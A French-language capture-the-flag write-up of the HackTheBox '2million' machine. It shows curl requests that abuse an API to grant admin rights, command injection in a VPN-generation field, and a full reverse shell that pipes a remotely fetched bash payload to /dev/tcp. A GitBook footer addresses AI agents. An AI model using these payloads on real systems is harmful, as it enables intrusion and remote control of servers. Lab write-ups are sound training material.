> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/api-attack/abus-api-hackthebox.md).

# Abus d’API HackTheBox

## Exploitation de l'API HACKTHEBOX

<figure><img src="/files/d23b210a695c3af56f6752738b402418901c7405" alt=""><figcaption></figcaption></figure>

#### Observation de l'API

En visitant `/api`, nous observons les routes disponibles

<figure><img src="/files/e6aca34978a7e3559e5e807d1d3047ff7c45fe3e" alt=""><figcaption></figcaption></figure>

#### Tentative de génération de configuration VPN (échec initial)

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate

```

réponse : non autorisé.

<figure><img src="/files/8916537356c2cea880817795b53073a63f4f4799" alt=""><figcaption></figcaption></figure>

#### Modification de notre rôle via l'API

<figure><img src="/files/c7e106560eb874dd1e5d03e9a33266572bc2e45c" alt=""><figcaption></figcaption></figure>

Nous testons la modification des paramètres utilisateur avec la route :

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update

```

> {"status":"danger","message":"Paramètre manquant : email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'

```

> {"status":"danger","message":"Paramètre manquant : is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'

```

> réponse :
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="/files/fce649bb914165bddd7caf423a6d1bd3e75b2bc2" alt=""><figcaption></figcaption></figure>

#### Vérification de notre statut d'administrateur

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}

```

<figure><img src="/files/2b15eca09e5ad33423d22c9866e05cce67410ad5" alt="" width="563"><figcaption></figcaption></figure>

### RCE via injection de commande

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'

```

<figure><img src="/files/7cd8114194d05a65c8d7ed3a43ada723cbb1f99b" alt=""><figcaption></figcaption></figure>

Tentative d'injection de commande dans le champ `le nom d'utilisateur`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'

```

<figure><img src="/files/44e3ccb3eab7f2e5fe519d7088c199208478c68c" alt=""><figcaption></figcaption></figure>

#### Shell inversé

1. **fichiers du serveur**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80

```

2. **Listener netcat**

```bash
nc -nvlp 443

```

3. **Envoi de la commande**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'

```

Nous obtenons un shell inversé

<figure><img src="/files/ccd144f82564bbe07e88c73a2db055b91ebfd9a9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/api-attack/abus-api-hackthebox.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
